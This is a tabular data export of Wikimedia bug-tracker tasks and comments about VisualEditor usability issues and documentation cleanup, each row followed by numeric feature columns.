237192,VisualEditor: Search of parameters in transclusion editor should be case insensitive,Done by gerrit 117305.,,,1394405793,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-q5ayyohzxfrkbwwrho46,task_subcomment,,True,c1,3,True,,,35,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,Done by gerrit 117305.
237188,VisualEditor: Search of parameters in transclusion editor should be case insensitive,*** Bug 52950 has been marked as a duplicate of this bug. ***,,,1377426861,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-q5ayyohzxfrkbwwrho46,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52950 has been marked as a duplicate of this bug. ***
237184,VisualEditor: Search of parameters in transclusion editor should be case insensitive,"After a moments though I wonder if this might be the same issue as bug 51670, with the search requiring input that matches the parameter as defined in the source (which the VE user has no way of knowing) rather than the title as displayed in the parameter list.",,,1374229905,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-q5ayyohzxfrkbwwrho46,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,21.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,15.0,2.0,6.0,4.0,0.0,21.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,21.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,4.0,0.0,0.0,0.0,4.018867924528302,0.8113207547169812,"After a moments though I wonder if this might be the same issue as bug 51670, with the search requiring input that matches the parameter as defined in the source (which the VE user has no way of knowing) rather than the title as displayed in the parameter list."
53672,VisualEditor: Move the remove template/parameter button to somewhere more prominent?,"Lack of ""remove template"" button in a 1366x480px Firefox 22 window on Xubuntu Linux

In the Visual Editor template/transclusion editor the list of parameters obscures the ""remove template"" button so that it can only be clicked if you enter the name of a non-existant parameter into the search box. See attachment to bug 51671

Even this does not help when the window is too small for it to be displayed (see attachment).

Both problems could be solved by either: 
*making the window scroll (separately from making the parameter list scroll); and/or
*moving the ""Remove template"" button next to the ""save changes"" button (which would probably be more logical than placing it under ""options"" - see also bug 51135).

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51739
https://bugzilla.wikimedia.org/show_bug.cgi?id=51135

**Attached**: {F11269}",Medium,50.0,1374229080,1394073936.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-5rpxkdg4clk2xzkgyeci,task_description,resolved,True,c1,3,False,False,False,2,,0.0,0.0,0.0,1.5,0.5,3.5,1.0,0.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,6.0,9.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,2.0,2.0,1.5,0.0,0.5,0.0,0.5,1.0,0.5,0.0,0.0,0.0,3.5,0.5,0.0,0.0,0.0,0.0,15.5,0.5,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,6.0,2.5,9.5,2.0,0.0,7.5,0.0,0.0,0.0,0.0,6.0,0.0,1.5,0.0,2.0,9.0,4.0,0.0,5.0,0.0,2.0,0.0,1.0,1.0,0.0,2.0,0.5,0.0,0.5,3.789473684210526,0.6578947368421053,"Lack of ""remove template"" button in a 1366x480px Firefox 22 window on Xubuntu Linux

In the Visual Editor template/transclusion editor the list of parameters obscures the ""remove template"" button so that it can only be clicked if you enter the name of a non-existant parameter into the search box. See attachment to bug 51671

Even this does not help when the window is too small for it to be displayed (see attachment).

Both problems could be solved by either: 
*making the window scroll (separately from making the parameter list scroll); and/or
*moving the ""Remove template"" button next to the ""save changes"" button (which would probably be more logical than placing it under ""options"" - see also bug 51135).

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL
URL

**Attached**: {F11269}"
237132,VisualEditor: Move the remove template/parameter button to somewhere more prominent?,The button has now been moved to the right of the template or parameter's name.,,,1394073936,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5rpxkdg4clk2xzkgyeci,task_subcomment,,True,c1,3,True,,,35,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,6.0,6.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.823529411764706,0.9411764705882353,The button has now been moved to the right of the template or parameter's name.
237124,VisualEditor: Move the remove template/parameter button to somewhere more prominent?,"(In reply to comment #2)
> The problem is that button removes the single template that the pane is
> about,
> not the entire transclusion (which can cover from one template to thousands)
> -
> the dialog footer buttons are meant to apply to the entire dialog's subject,
> not just the bit you're currently looking at.

Ah rights, yes that does make sense

> However, maybe it could be up in the top-right, alongside the name of the
> template you've currently got selected?

Right aligned on the same line as the template name / parameter name (for remove parameter) does seem like the best. Need to make sure that it doesn't collide with a long template/parameter name though.",,,1375339576,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-5rpxkdg4clk2xzkgyeci,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,1.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,1.0,0.0,7.0,0.0,0.0,0.0,1.0,8.0,3.0,1.0,0.0,1.0,12.0,5.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,3.5526315789473686,0.5921052631578947,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Ah rights, yes that does make sense

QUOTE
QUOTE

Right aligned on the same line as the template name / parameter name (for remove parameter) does seem like the best. Need to make sure that it doesn't collide with a long template/parameter name though."
237115,VisualEditor: Move the remove template/parameter button to somewhere more prominent?,"(In reply to comment #0)
> *moving the ""Remove template"" button next to the ""save changes"" button (which
> would probably be more logical than placing it under ""options"" - see also bug
> 51135).

The problem is that button removes the single template that the pane is about, not the entire transclusion (which can cover from one template to thousands) - the dialog footer buttons are meant to apply to the entire dialog's subject, not just the bit you're currently looking at.

However, maybe it could be up in the top-right, alongside the name of the template you've currently got selected?",,,1375325672,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5rpxkdg4clk2xzkgyeci,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,1.0,2.0,3.0,2.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,6.0,1.0,1.0,2.0,2.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,20.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,6.0,2.0,0.0,11.0,0.0,0.0,0.0,1.0,4.0,0.0,2.0,0.0,3.0,12.0,1.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.8541666666666665,0.6770833333333334,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE

The problem is that button removes the single template that the pane is about, not the entire transclusion (which can cover from one template to thousands) - the dialog footer buttons are meant to apply to the entire dialog's subject, not just the bit you're currently looking at.

However, maybe it could be up in the top-right, alongside the name of the template you've currently got selected?"
237106,VisualEditor: Move the remove template/parameter button to somewhere more prominent?,"The fix to bug 51739 has made this less of an issue, in that the remove template button can be accessed by scrolling to the very bottom of the list. I still think the button would be better placed next to the ""save changes"" button though.

Changing from a bug to an enhancement accordingly.",,,1374700322,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-5rpxkdg4clk2xzkgyeci,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,2.0,3.0,0.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,20.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,5.0,2.0,0.0,16.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,16.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,5.0,0.0,3.0,3.0,0.0,0.0,3.901639344262295,0.7377049180327869,"The fix to bug 51739 has made this less of an issue, in that the remove template button can be accessed by scrolling to the very bottom of the list. I still think the button would be better placed next to the ""save changes"" button though.

Changing from a bug to an enhancement accordingly."
53665,VisualEditor: Drag-and-drop requires the item (image/reference/template) to be selected before it can be dragged,"A user on the English Wikipedia reports two problems when attempting to drag and drop an image.
""Problem 1: Clicking on a media file and dragging the mouse causes the cursor to change to the ""I'm moving an image"" icon, but the image doesn't actually move. I can only move an image if I click it once to select it, then click and hold.

Problem 2: If I move an image a small enough distance across the screen that it doesn't actually move, I can't move it again unless I deselect it and then reselect it.""

They are using Firefox 21, I can confirm both problems in Firefox 22.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=54472",Medium,50.0,1374224700,1403019840.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-nkihkps7zwe2jnpuv2vo,task_description,resolved,True,c1,3,False,False,False,2,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.5,2.5,0.0,0.5,0.0,4.0,0.5,7.0,6.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.5,1.0,0.0,0.0,5.0,1.0,3.5,1.0,0.0,0.0,0.0,0.0,3.5,0.0,0.5,1.0,2.0,0.0,0.0,0.5,0.0,0.0,10.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,2.5,0.0,0.5,0.5,0.5,0.0,7.0,0.5,12.5,2.5,2.5,7.5,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,8.0,6.0,3.0,0.0,2.0,0.0,8.0,0.0,1.0,4.0,0.0,2.5,0.0,0.0,0.0,3.547231012658228,0.6477056962025316,"A user on the English Wikipedia reports two problems when attempting to drag and drop an image.
""Problem 1: Clicking on a media file and dragging the mouse causes the cursor to change to the ""I'm moving an image"" icon, but the image doesn't actually move. I can only move an image if I click it once to select it, then click and hold.

Problem 2: If I move an image a small enough distance across the screen that it doesn't actually move, I can't move it again unless I deselect it and then reselect it.""

They are using Firefox 21, I can confirm both problems in Firefox 22.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
236711,VisualEditor: Drag-and-drop requires the item (image/reference/template) to be selected before it can be dragged,"Specifically, this was fixed by Ed's changes to clickable nodes last week.",,,1403019840,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nkihkps7zwe2jnpuv2vo,task_subcomment,,True,c1,3,True,,,50,,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,20.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2,1.0,"Specifically, this was fixed by Ed's changes to clickable nodes last week."
236704,VisualEditor: Drag-and-drop requires the item (image/reference/template) to be selected before it can be dragged,This doesn't appear to be a problem in master.,,,1403008896,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-nkihkps7zwe2jnpuv2vo,task_subcomment,,True,c1,3,True,,,50,,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.4545454545454546,1.0,This doesn't appear to be a problem in master.
236699,VisualEditor: Drag-and-drop requires the item (image/reference/template) to be selected before it can be dragged,fwiw about Problem 1 the same happens with text based templates. Tested with the template {{languages}} at the top of the page at https://www.mediawiki.org/wiki/Groups,,,1380426562,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-nkihkps7zwe2jnpuv2vo,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,10.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,21.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.793103448275862,0.7586206896551724,fwiw about Problem 1 the same happens with text based templates. Tested with the template {{languages}} at the top of the page at URL
236694,VisualEditor: Drag-and-drop requires the item (image/reference/template) to be selected before it can be dragged,"Some suggestions about dragging from Adam C.:
""If I might suggest, if dragging isn't possible, why not just make it that when you select an image, you have a few buttons. A left arrow to move it left, a right arrow to move it right, a menu button between them that'll give you the chance to edit image properties (and to set the rarely-used centre), ideally a way to directly edit the caption without entering a menu, and perhaps a little drag bar at the top for moving it vertically? (Having a standardised place to grab and drag would be an excellent idea, by the way.I'd suggest adding a little bar at the top of an element when it's clicked on.)"".",,,1379948638,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-nkihkps7zwe2jnpuv2vo,task_subcomment,,True,c1,3,False,,,12,,1.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,7.0,11.0,0.0,3.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.0,0.0,3.0,0.0,3.0,2.0,1.5,0.0,0.0,0.5,3.0,0.0,0.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.5,1.5,0.5,0.0,0.0,11.0,1.0,4.5,3.0,2.0,11.5,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,6.0,11.0,1.0,0.5,1.0,0.0,6.0,0.0,2.0,7.0,0.5,3.5,0.0,0.0,0.0,3.5945945945945947,0.7094594594594594,"Some suggestions about dragging from Adam C.:
""If I might suggest, if dragging isn't possible, why not just make it that when you select an image, you have a few buttons. A left arrow to move it left, a right arrow to move it right, a menu button between them that'll give you the chance to edit image properties (and to set the rarely-used centre), ideally a way to directly edit the caption without entering a menu, and perhaps a little drag bar at the top for moving it vertically? (Having a standardised place to grab and drag would be an excellent idea, by the way.I'd suggest adding a little bar at the top of an element when it's clicked on.)""."
53650,VisualEditor: Remove (and stop adding) useless documentation,"/**
 * Creates an ve.Element object.
 *
 * @class
 * @abstract
 *
 * @constructor
 */
ve.Element = function VeElement

These and everything like are useless (not really explaining anything) and annoying (gets you excited to see a line of text only to find out its nothing) and makes the jsduck --nodoc utility unusable since a lot of things without documentation aren't without documentation.

So, henceforth, it is ""okay"" for a doc block to be just tags with no description on top (or even just /** */ with nothing, which is all jsduck needs to include a property in its index).

I (or someone else) will be ridding these at some point, but lets try and not duplicate them more (I won't take ""consistency"" as an argument here when creating something that is like something else that has a useless description, fill it in or don't copy it, don't spread the virus).

Thanks

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1374197220,1530904290.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-4iqn2br77eamftwdpwfs,task_description,resolved,True,c1,3,True,True,False,2,,0.6666666666666666,2.0,0.0,0.0,2.3333333333333335,2.3333333333333335,1.3333333333333333,0.0,0.0,0.0,1.3333333333333333,1.6666666666666667,0.0,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,7.333333333333333,7.0,2.6666666666666665,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,6.333333333333333,0.6666666666666666,2.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,4.666666666666667,0.0,0.3333333333333333,0.0,0.0,0.0,7.333333333333333,1.3333333333333333,0.3333333333333333,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,2.3333333333333335,5.0,0.6666666666666666,3.0,5.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.3333333333333333,0.0,0.0,3.3333333333333335,7.0,2.0,0.0,1.6666666666666667,0.0,3.3333333333333335,0.0,1.6666666666666667,2.6666666666666665,0.3333333333333333,1.0,0.3333333333333333,0.0,0.0,3.70868814019499,0.704800691102061,"/**
 * Creates an ve.Element object.
 *
 *SCREEN_NAME
 *SCREEN_NAME
 *
 *SCREEN_NAME
 */
ve.Element = function VeElement

These and everything like are useless (not really explaining anything) and annoying (gets you excited to see a line of text only to find out its nothing) and makes the jsduck --nodoc utility unusable since a lot of things without documentation aren't without documentation.

So, henceforth, it is ""okay"" for a doc block to be just tags with no description on top (or even just /** */ with nothing, which is all jsduck needs to include a property in its index).

I (or someone else) will be ridding these at some point, but lets try and not duplicate them more (I won't take ""consistency"" as an argument here when creating something that is like something else that has a useless description, fill it in or don't copy it, don't spread the virus).

Thanks

--------------------------
**Version**: unspecified
**Severity**: enhancement"
235943,VisualEditor: Remove (and stop adding) useless documentation,"Change 146523 merged by jenkins-bot:
Remove useless documentation, add more useful documentation

https://gerrit.wikimedia.org/r/146523",,,1405459729,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4iqn2br77eamftwdpwfs,task_subcomment,,True,c1,3,False,,,54,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.157894736842105,0.9473684210526315,"Change 146523 merged by jenkins-bot:
Remove useless documentation, add more useful documentation

GERRIT_URL"
235938,VisualEditor: Remove (and stop adding) useless documentation,"Change 146523 had a related patch set uploaded by Krinkle:
Remove useless documentation, add more useful documentation

https://gerrit.wikimedia.org/r/146523",,,1405459572,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4iqn2br77eamftwdpwfs,task_subcomment,,True,c1,3,False,,,54,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,5.2272727272727275,0.9545454545454546,"Change 146523 had a related patch set uploaded by Krinkle:
Remove useless documentation, add more useful documentation

GERRIT_URL"
235933,VisualEditor: Remove (and stop adding) useless documentation,"Change 125036 merged by jenkins-bot:
Get rid of useless comments for classes

https://gerrit.wikimedia.org/r/125036",,,1397086933,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4iqn2br77eamftwdpwfs,task_subcomment,,True,c1,3,False,,,40,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,17.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,"Change 125036 merged by jenkins-bot:
Get rid of useless comments for classes

GERRIT_URL"
235928,VisualEditor: Remove (and stop adding) useless documentation,"Change 125036 had a related patch set uploaded by Krinkle:
Get rid of useless comments for classes

https://gerrit.wikimedia.org/r/125036",,,1397086880,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4iqn2br77eamftwdpwfs,task_subcomment,,True,c1,3,False,,,40,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.523809523809524,1.0,"Change 125036 had a related patch set uploaded by Krinkle:
Get rid of useless comments for classes

GERRIT_URL"
235923,VisualEditor: Remove (and stop adding) useless documentation,Note that there is one (exactly one) piece of useful information in that comment: @abstract,,,1374259388,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-4iqn2br77eamftwdpwfs,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.388888888888889,0.8888888888888888,Note that there is one (exactly one) piece of useful information in that comment:SCREEN_NAME
53634,Page actions are wrong for VisualEditor,"mw.gettingStarted.logging.getPageSchemaAction returns the wrong values for VE.  For instance, it returns page-impression when the VE edit screen is open.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1374179400,1703380210.0,PHID-USER-dw53c5cb2qfhyemej57o,True,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-udzfkpaotefzeteimh7e,task_description,declined,True,c1,3,True,False,False,2,,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,12.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.813953488372093,0.6976744186046512,"mw.gettingStarted.logging.getPageSchemaAction returns the wrong values for VE.  For instance, it returns page-impression when the VE edit screen is open.

--------------------------
**Version**: unspecified
**Severity**: normal"
2251231,Page actions are wrong for VisualEditor,"#MediaWiki-extensions-GettingStarted has been removed from Wikimedia wikis and is getting archived per `T292654`. Thus declining this task to reflect reality.

